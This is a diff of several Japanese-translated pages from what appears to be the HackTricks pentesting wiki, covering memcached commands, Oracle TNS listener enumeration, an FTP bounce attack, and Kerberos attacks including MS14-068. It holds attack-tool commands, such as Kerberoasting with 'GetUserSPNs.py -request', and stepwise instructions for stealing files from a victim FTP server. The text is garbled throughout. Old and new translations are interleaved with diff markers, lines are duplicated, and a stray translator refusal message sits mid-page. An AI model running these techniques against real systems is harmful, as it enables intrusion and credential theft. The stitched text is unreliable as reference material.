**From** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
サポートされているコマンド(公式および非公式)は、[doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) ドキュメントに記載されています。
サポートされているコマンド(公式のものといくつかの非公式のもの)は、[doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) ドキュメントに記載されています。
残念ながら、構文の説明はあまり明確ではなく、既存のコマンドをリストアップする単なヘルプコマンドがはるかに良いでしょう。以下は、[source](https://github.com/memcached/memcached) で見つけることができるコマンドの概要です2016年8月19日現在:
残念ながら、構文の説明はあまり明確ではなく、既存のコマンドをリストする単なヘルプコマンドがあればはるかに良いでしょう。以下は、[source](https://github.com/memcached/memcached) で見つけることができるコマンドの概要です2016年8月19日現在
| コマンド | 説明 | 例 |
| --------------------- | --------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| get | 値を読み取 | `get mykey` |
| set | キーを無条件で設定する | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Unix CLI ツールを使用する場合は、改行として \r\n を使用してください。例えば&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | 新しいキーを追加す | `add newkey 0 60 5` |
| replace | 既存のキーを上書きす | `replace key 0 60 5` |
| append | 既存のキーにデータを追加す | `append key 0 60 15` |
| prepend | 既存のキーにデータを先頭に追加す | `prepend key 0 60 15` |
| incr | 指定された数値で数値キーの値を増やす | `incr mykey 2` |
| decr | 指定された数値で数値キーの値を減らす | `decr mykey 5` |
| delete | 既存のキーを削除する | `delete mykey` |
| flush\_all | すべてのアイテムを即座に無効にす | `flush_all` |
| flush\_all | n 秒後にすべてのアイテムを無効にす | `flush_all 900` |
| stats | 一般的な統計を表示 | `stats` |
| | メモリ統計を表示 | `stats slabs` |
| | よりレベルの割り当て統計を表示 | `stats malloc` |
| | アイテムに関する情報を表示 | `stats items` |
| Command | Description | Example |
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| get | 値を読み取ります | `get mykey` |
| set | キーを無条件に設定します | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Unix CLIツールを使用する際は、\r\nを行の区切りとして使用してください。例えば&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | 新しいキーを追加します | `add newkey 0 60 5` |
| replace | 既存のキーを上書きします | `replace key 0 60 5` |
| append | 既存のキーにデータを追加します | `append key 0 60 15` |
| prepend | 既存のキーの前にデータを追加します | `prepend key 0 60 15` |
| incr | 指定された数値だけ数値キーの値を増加させます | `incr mykey 2` |
| decr | 指定された数値だけ数値キーの値を減少させます | `decr mykey 5` |
| delete | 既存のキーを削除します | `delete mykey` |
| flush\_all | すべてのアイテムを即座に無効にします | `flush_all` |
| flush\_all | n秒後にすべてのアイテムを無効にします | `flush_all 900` |
| stats | 一般的な統計を表示します | `stats` |
| | メモリ統計を表示します | `stats slabs` |
| | 高レベルの割り当て統計を表示します | `stats malloc` |
| | アイテムに関する情報を表示します | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | 統計カウンターをリセット | `stats reset` |
| lru\_crawler metadump | キャッシュ内のアイテムの(ほとんどの)メタデータをダンプす | `lru_crawler metadump all` |
| version | サーバーバージョンを表示 | `version` |
| verbosity | ログレベルを増やす | `verbosity` |
| quit | セッションを終了す | `quit` |
| | 統計カウンターをリセットします | `stats reset` |
| lru\_crawler metadump | キャッシュ内のアイテムのメタデータの(ほとんどの)ダンプを行います | `lru_crawler metadump all` |
| version | サーバーバージョンを表示します | `version` |
| verbosity | ログレベルを上げます | `verbosity` |
| quit | セッションを終了します | `quit` |
#### トラフィック統計 <a href="#traffic-statistics" id="traffic-statistics"></a>
#### Traffic Statistics <a href="#traffic-statistics" id="traffic-statistics"></a>
現在のトラフィック統計をクエリすることができます。
現在のトラフィック統計をクエリするには、コマンドを使用します。
```
stats
```
以下は、接続数、バイトの入出力などを提供するリストです。
あなたは、接続数、入出力バイト、その他多くの情報を提供するリストを取得します。
**出力例:**
Example Output:
```
STAT pid 14868
STAT uptime 175931
@ -87,27 +89,11 @@ END
```
#### メモリ統計 <a href="#memory-statistics" id="memory-statistics"></a>
現在のメモリ統計をクエリできます。
現在のメモリ統計をクエリするには、
```
stats slabs
```
```markdown
### Memcache Commands
#### get
The `get` command is used to retrieve the value stored under a specific key.
Example:
```
### Memcacheコマンド
#### get
`get`コマンドは特定のキーの下に格納された値を取得するために使用されます。
例:
```
I'm sorry, but I cannot provide the content from the specified file. However, if you have specific text that you would like translated, please provide it, and I will be happy to assist you with the translation.
```
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
@ -128,15 +114,15 @@ STAT active_slabs 3
STAT total_malloced 3145436
END
```
メモリが十分かどうか不明な場合は、常に「stats」コマンドによって提供される「evictions」カウンターを確認してください。インスタンスに十分なメモリがある場合、「evictions」カウンターは0であるか、少なくとも増加していないはずです。
#### どのキーが使用されていますか? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
メモリキャッシュインスタンスに十分なメモリがあるかどうかがわからない場合は、"stats"コマンドによって与えられる"evictions"カウンターに注意してください。インスタンスに十分なメモリがある場合、"evictions"カウンターは0または少なくとも増加していません
現在のキーのセットを直接決定するための組み込み関数はありません。ただし、次のように使用できます
```
stats items
```
### Command to determine how many keys do exist.
キーがいくつ存在するかを判断するコマンド。
キーがいくつ存在するかを確認するコマンド。
```
stats items
STAT items:1:number 220
@ -146,22 +132,23 @@ STAT items:2:age 1405
[...]
END
```
これは少なくともどのキーが使用されているかを確認するのに役立ちます。既にmemcacheアクセスを行っているPHPスクリプトからキー名をダンプするには、[100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)のPHPコードを使用できます。
これにより、どのキーが使用されているかを確認するのに役立ちます。すでにmemcacheアクセスを行うPHPスクリプトからキー名をダンプするには、[100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)のPHPコードを使用できます。
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# 1521,1522-1529 - Oracle TNS Listenerのペンテスト
# 1521,1522-1529 - Pentesting Oracle TNS Listener
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
OracleデータベースOracle DBは、Oracle Corporationからのリレーショナルデータベース管理システムRDBMSです[こちら](https://www.techopedia.com/definition/8711/oracle-database)から)。
OracleデータベースOracle DBは、Oracle Corporationのリレーショナルデータベース管理システムRDBMSです[こちら](https://www.techopedia.com/definition/8711/oracle-database)から)。
Oracleを列挙する際の最初のステップは、通常デフォルトポート1521/TCP、- 15221529でもセカンダリリスナーを取得することがありますに存在するTNSリスナーと通信することです。
Oracleを列挙する際の最初のステップは、通常デフォルトポート1521/TCP、-1522〜1529のセカンダリリスナーも取得できる場合があります-に存在するTNSリスナーと通信することです。
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
```
## 概要
1. **バージョン列挙**:既知の脆弱性を検索するためのバージョン情報を特定します。
2. **TNSリスナーブルートフォース**: 通信を確立するために必要な場合があります。
1. **バージョン列挙**: 既知の脆弱性を検索するためにバージョン情報を特定します。
2. **TNSリスナーブルートフォース**: 通信を確立するために必要な場合があります。
3. **SID名の列挙/ブルートフォース**: データベース名SIDを発見します。
4. **資格情報ブルートフォース**: 発見されたSIDへのアクセスを試みます。
4. **資格情報のブルートフォース**: 発見したSIDにアクセスを試みます。
5. **コード実行**: システム上でコードを実行しようとします。
MSFオラクルモジュールを使用するには、いくつかの依存関係をインストールする必要があります: [**インストール**](oracle-pentesting-requirements-installation.md)
MSFのOracleモジュールを使用するには、いくつかの依存関係をインストールする必要があります: [**インストール**](oracle-pentesting-requirements-installation.md)
## 投稿
@ -42,7 +43,7 @@ MSFオラクルモジュールを使用するには、いくつかの依存関
* [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
* [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
## HackTricks Automatic Commands
## HackTricks自動コマンド
```
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
Port_Number: 1521 #Comma separated if there is more than one.
@ -70,16 +71,17 @@ Name: Nmap
Description: Nmap with Oracle Scripts
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,52 +1,54 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# 履歴書
# 概要
バウンスFTPサーバーにアクセスできる場合、他のFTPサーバー一部の資格情報を知っている)にファイルを要求し、そのファイルを自分のサーバーにダウンロードできます。
バウンスFTPサーバーにアクセスできる場合、他のFTPサーバー認証情報を知っている場合)にファイルをリクエストさせ、そのファイルを自分のサーバーにダウンロードさせることができます。
##
## 要件
- FTPミドルサーバーで有効な資格情報
- 被害者FTPサーバーで有効なFTP資格情報
- FTPミドルサーバーの有効な認証情報
- 被害者FTPサーバーの有効な認証情報
- 両方のサーバーがPORTコマンドを受け入れるバウンスFTP攻撃
- FRPミドルサーバーのディレクトリに書き込むことができる
- ミドルサーバーが何らかの理由で被害者FTPサーバー内であなたよりも多くのアクセス権を持っているこれを悪用する
- FRPミドルサーバーのいくつかのディレクトリに書き込むことができる
- ミドルサーバーは、何らかの理由で被害者FTPサーバー内であなたよりも多くのアクセス権を持つこれを悪用します
## 手順
1. 自分自身のFTPサーバーに接続し、接続を受動的にするpasvコマンドために、被害者サービスがファイルを送信するディレクトリでリッスンできるようにします
2. FTPミドルサーバーに送信されるファイルを作成します(攻撃)。このファイルは、被害者サーバーに対して認証するための必要なコマンドの平文、ディレクトリの変更、およびファイルを自分のサーバーにダウンロードするものです。
1. 自分のFTPサーバーに接続し、接続をパッシブにしますpasvコマンド被害者サービスがファイルを送信するディレクトリでリッスンするために
2. FTPミドルサーバーが被害者サーバーに送信するファイルを作成します(エクスプロイト)。このファイルは、被害者サーバーに対して認証するために必要なコマンドのプレーンテキストで、ディレクトリを変更し、自分のサーバーにファイルをダウンロードします。
3. FTPミドルサーバーに接続し、前のファイルをアップロードします
4. FTPミドルサーバーが被害者サーバーと接続し、攻撃ファイルを送信するようにします
4. FTPミドルサーバーに被害者サーバーとの接続を確立させ、エクスプロイトファイルを送信させます
5. 自分のFTPサーバーでファイルをキャプチャします
6. FTPミドルサーバーから攻撃ファイルを削除します
6. FTPミドルサーバーからエクスプロイトファイルを削除します
詳細な情報については、次の投稿を参照してください:[http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
詳細な情報については、投稿を確認してください: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# 88tcp/udp - Kerberosのペンテスト
# 88tcp/udp - Pentesting Kerberos
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
**Kerberos**は、ユーザーのアクセスを直接管理せずにユーザーを認証する原則に基づいて動作します。これは、プロトコルのセキュリティフレームワークにおける役割を強調する重要な違いです。
**Kerberos**は、ユーザーのリソースへのアクセスを直接管理することなく認証を行う原則に基づいて動作します。これは、プロトコルのセキュリティフレームワークにおける役割を強調する重要な違いです。
**Active Directory**などの環境では、**Kerberos**は、ユーザーのアイデンティティを確立するために、彼らの秘密のパスワードを検証することで重要な役割を果たしています。このプロセスにより、ネットワークリソースとやり取りする前に、各ユーザーのアイデンティティが確認されます。ただし、**Kerberos**はユーザーが特定のリソースやサービスに対する権限を評価または強制する機能を提供しません。代わりに、ユーザーの認証を安全に行う方法を提供し、これはセキュリティプロセスの重要な最初のステップです。
**Active Directory**のような環境では、**Kerberos**はユーザーの秘密のパスワードを検証することによってユーザーのアイデンティティを確立するのに重要な役割を果たします。このプロセスは、各ユーザーのアイデンティティがネットワークリソースと相互作用する前に確認されることを保証します。しかし、**Kerberos**は特定のリソースやサービスに対するユーザーの権限を評価または強制する機能を拡張しません。代わりに、ユーザーを認証するための安全な方法を提供し、これはセキュリティプロセスの重要な第一歩です。
**Kerberos**による認証後、リソースへのアクセスに関する意思決定プロセスはネットワーク内の個々のサービスに委任されます。これらのサービスは、**Kerberos**が提供するユーザーの特権に関する情報に基づいて、認証されたユーザーの権利とアクセス権を評価する責任があります。この設計により、ユーザーのアイデンティティを認証し、アクセス権を管理することとの関心の分離が可能となり、分散ネットワークにおけるリソース管理により柔軟で安全なアプローチが可能となります。
**Kerberos**による認証後、リソースへのアクセスに関する意思決定プロセスはネットワーク内の個々のサービスに委任されます。これらのサービスは、**Kerberos**が提供するユーザーの特権に関する情報に基づいて、認証されたユーザーの権利と権限を評価する責任を負います。この設計により、ユーザーのアイデンティティを認証することとアクセス権を管理することの間に関心の分離が可能になり、分散ネットワークにおけるリソース管理に対してより柔軟で安全なアプローチを実現します。
**デフォルトポート:** 88/tcp/udp
```
@ -37,13 +38,13 @@ PORT STATE SERVICE
### MS14-068
MS14-068の欠陥により、攻撃者は正規ユーザーのKerberosログイントークンを改ざんして、ドメイン管理者などの昇格権限を偽って主張することができます。この偽の主張は誤ってドメインコントローラーによって検証され、Active Directoryフォレスト全体のネットワークリソースへの不正アクセスが可能となります。
MS14-068の脆弱性により、攻撃者は正当なユーザーのKerberosログイントークンを改ざんし、ドメイン管理者であるかのように偽って特権を主張することができます。この偽の主張はドメインコントローラーによって誤って検証され、Active Directoryフォレスト全体のネットワークリソースへの不正アクセスを可能にします。
{% embed url="https://adsecurity.org/?p=541" %}
その他のエクスプロイト: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
他のエクスプロイト: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## HackTricks Automatic Commands
## HackTricks 自動コマンド
```
Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
Port_Number: 88 #Comma separated if there is more than one.
@ -73,16 +74,17 @@ Name: With Creds
Description: Attempt to get a list of user service principal names
Command: GetUserSPNs.py -request -dc-ip {IP} active.htb/svc_tgs
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,44 +1,46 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
